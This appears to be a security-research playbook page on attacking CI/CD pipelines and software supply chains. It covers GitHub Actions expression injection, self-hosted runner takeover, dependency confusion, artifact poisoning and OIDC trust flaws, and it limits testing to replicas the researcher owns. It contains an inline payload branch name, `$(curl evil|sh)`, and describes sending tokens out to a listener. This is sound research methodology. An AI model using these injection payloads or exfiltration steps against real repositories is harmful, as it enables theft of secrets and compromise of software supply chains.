---

archetype: cicd-supplychain

primary_gate_families: [4, 5, 1]

---

# Archetype - CI/CD & Software Supply Chain

Targets: GitHub Actions workflows (and GitLab CI / CircleCI / Buildkite), self-hosted Actions runners,

package registries (npm/PyPI/Go/crates/Maven), artifact stores, signing pipelines. The thesis: the

build pipeline is the **softest path to the crown jewels** - it holds `GITHUB_TOKEN`, deploy keys,

cloud OIDC, signing keys, and registry-publish rights, and it *executes untrusted input by design*

(PR contents, fork branches, dependency code). One workflow-injection or one confusable dependency

compromises the org and everything it ships. [[../00-doctrine/SEVERITY-GATE#family-4-secret-key-repo-build-pipeline-compromise|Family 4]] / [[../00-doctrine/SEVERITY-GATE#family-5-supply-chain-dependency-compromise|Family 5]] / Family 1.

See: [[devops-infra]] (Jenkins/Argo runners), [[ml-model-loaders]] (ComfyUI nodes), [[electron-desktop]] (plugin registries).

Tooling: `audit_cicd`, `dependency_confusion`, `audit_supply_chain`, `clone_repo`, `joern_query`.

---

## Principals & trust boundaries

- **Principals:** an external PR/fork author (untrusted), a dependency author, the **workflow** (runs

  with repo/org tokens), the **runner** (the machine, often self-hosted and reused), the registry, the

  consumers who install the artifact.

- **Core boundaries:**

  1. *Untrusted PR/fork content → privileged workflow context* (the `pull_request_target` /

     `workflow_run` trust elevation - the canonical CI bug).

  2. *Workflow expression → shell* (the `${{ }}` injection into `run:`).

  3. *Dependency name → install/build* (dependency confusion / typosquat / postinstall exec).

  4. *Job → self-hosted runner host* (a job escaping to the persistent runner machine).

  5. *Build → published artifact → consumers* (artifact/signing poisoning, the widest blast radius).

**Boundary map template:**

```

principals:        external-PR-author | dependency-author | workflow(holds tokens) | runner-host | registry | consumers

trust inputs:      PR title/body/branch-name/labels, fork code, issue comments, the dependency tree,

                   package names, workflow_dispatch inputs, artifact contents, tags/releases

enforcement pts:   pull_request vs pull_request_target, permissions: block, secrets scoping,

                   OIDC trust policy, environment protection rules, runner isolation, registry

                   namespace ownership, signature verification

cross-boundary

sinks:             ${{ github.event.* }} interpolated into run: ; checkout of PR head in a

                   privileged trigger ; secrets.* / GITHUB_TOKEN reachable from injected step ;

                   npm/pip install of a confusable name ; postinstall/setup.py exec ;

                   self-hosted runner reuse ; publish/sign step

confusion

hypotheses:        "this pull_request_target workflow checks out & runs PR code with secrets in env";

                   "an attacker-controlled github context field flows into run: unquoted";

                   "this internal package name is unclaimed on the public registry";

                   "the runner is self-hosted and not ephemeral → persistence";

                   "OIDC trust policy is too broad (wildcard sub/repo)"

```

---

## Kill chains (each lands on a Gate family)

### KC-1 - Workflow expression injection → secret/token exfil (Family 4) *(prime)*

A workflow interpolates an attacker-controlled `github` context field (PR **title**, **body**,

**branch name**, issue **comment**, label) directly into a `run:` shell step. Because `${{ }}` is

substituted *before* the shell runs, a branch named `$(curl evil|sh)` (or backtick/`;` payloads)

executes on the runner - with `secrets` and `GITHUB_TOKEN` in the environment.

- **Sinks to CPG/grep across `.github/workflows/*`:** `run:` steps containing `${{ github.event.*.title }}`,

  `.body`, `.head.ref`, `github.head_ref`, `.comment.body`, `.pull_request.*`; plus `actions/github-script`

  with interpolated context.

- **The high-value variant: `pull_request_target` / `workflow_run`** - these triggers run with the

  **base repo's** secrets *and* (if the workflow checks out `github.event.pull_request.head.sha`) the

  **fork's code**. That combination = untrusted code with full secrets = `pwn-request`.

- **Oracle:** the injected step exfiltrates `GITHUB_TOKEN` / `secrets.*` to our listener (against our

  **own** canary repo for the replica), or callback from the runner → Family 4 / Family 1.

### KC-2 - Self-hosted runner takeover & persistence (Family 4 → 1)

Self-hosted runners on public repos are dangerous: a fork PR can run code on a **persistent, reused**

machine. Beyond the single job, the attacker can plant persistence, steal other jobs' secrets, or

pivot into the network the runner sits in.

- **Sinks:** any public-repo workflow with `runs-on: self-hosted`, non-ephemeral runner config,

  shared runner caches/tool-dirs, secrets left on disk between jobs.

- **Oracle:** command execution on the runner host + reading a *second* job's canary secret /

  network pivot artifact → Family 4 / Family 1.

### KC-3 - Dependency confusion / typosquat / install-time exec (Family 5)

An internal package name (`@acme/internal-utils`, `acme-config`) is referenced but **not owned on the

public registry**; the resolver pulls *our* public package of the same name and runs its

`postinstall` / `setup.py` / build script.

- **Sinks:** the install step, `package.json`/`requirements.txt`/`go.mod` names cross-checked against

  public-registry ownership; `preinstall`/`postinstall`, `setup.py`'s top-level code, Go `//go:generate`.

- **The gate discipline (Family 5 trap):** "the name is unclaimed" is SOURCE_CONFIRMED only. The

  finding is publishing a **benign canary** package and observing **our own / the in-scope** pipeline

  pull and execute it (callback). **Never** squat a name a non-consenting third party builds.

- **Oracle:** the canary package's install-time callback fires from the target's build → Family 5.

### KC-4 - Artifact / signing-pipeline poisoning (Family 5 → 4)

A flaw lets a malicious artifact be published or signed and accepted downstream - a release step that

trusts a fork-built artifact, a cache-poisoning of a shared build cache, or a leaked/forgeable signing

key (Family 4) used to sign a malicious artifact a verifier accepts.

- **Sinks:** the publish/release step, the signing step (cosign/sigstore/GPG key handling), shared

  cache keys derived from attacker input.

- **Oracle:** a malicious artifact we built is consumed-and-run downstream, or signed-and-verified by a

  verifier we don't control → Family 5/4.

### KC-5 - OIDC trust-policy over-breadth → cloud ATO (Family 3, bridges [[devops-infra]])

GitHub Actions OIDC federates into AWS/GCP/Azure. An over-broad trust policy (wildcard `sub`, missing

`repo`/`ref` condition) lets a fork or a different workflow assume a privileged cloud role.

- **Sinks:** the IAM/role trust policy's `sub` condition vs the workflow that can mint the OIDC token.

- **Oracle:** assuming the role from an unintended workflow + a benign privileged call → Family 3.

---

## The dynamic oracle, concretely

1. Fork/clone the target into our **own** GitHub org as a canary (replica-first - never test injection

   on a third party's live repo). Pin the workflow files.

2. For KC-1: open a PR on the canary with a payload branch-name/title; watch our listener for the

   token exfil. `audit_cicd` to enumerate injectable contexts first.

3. For KC-3: `dependency_confusion` to map unclaimed names; publish a **benign** canary package to a

   throwaway namespace and observe *our* pipeline (or explicitly in-scope pipeline) execute it.

4. REPLICA_CONFIRMED on the exfil/callback artifact. LIVE only with explicit program permission, and

   even then the canary must be benign and the secret a throwaway.

---

## BORING traps - do NOT spend time here

- **"This workflow uses `pull_request_target`."** A risky pattern is not a finding - many are safe

  (no checkout of head, no secret use). Prove the *secret exfil* artifact.

- **"This package name is unclaimed."** Claimability is SOURCE_CONFIRMED; consumption-and-execution is

  the finding. Don't report registry namespace squatting as if it were proven impact.

- **"A pinned action could be updated to a malicious tag."** Hypothetical future compromise of a

  third party is not your finding.

- **Squatting / publishing against a non-consenting org's pipeline.** Forbidden - replica/own-org only.

- **Secret-scanning regex hits in the repo.** A string that looks like a key is a hypothesis; prove

  it's live (Family 4 oracle) or it's cleared-axes.

- **Re-finding a public Actions-injection writeup's exact repo.** Sibling-CVE; hunt fresh workflows.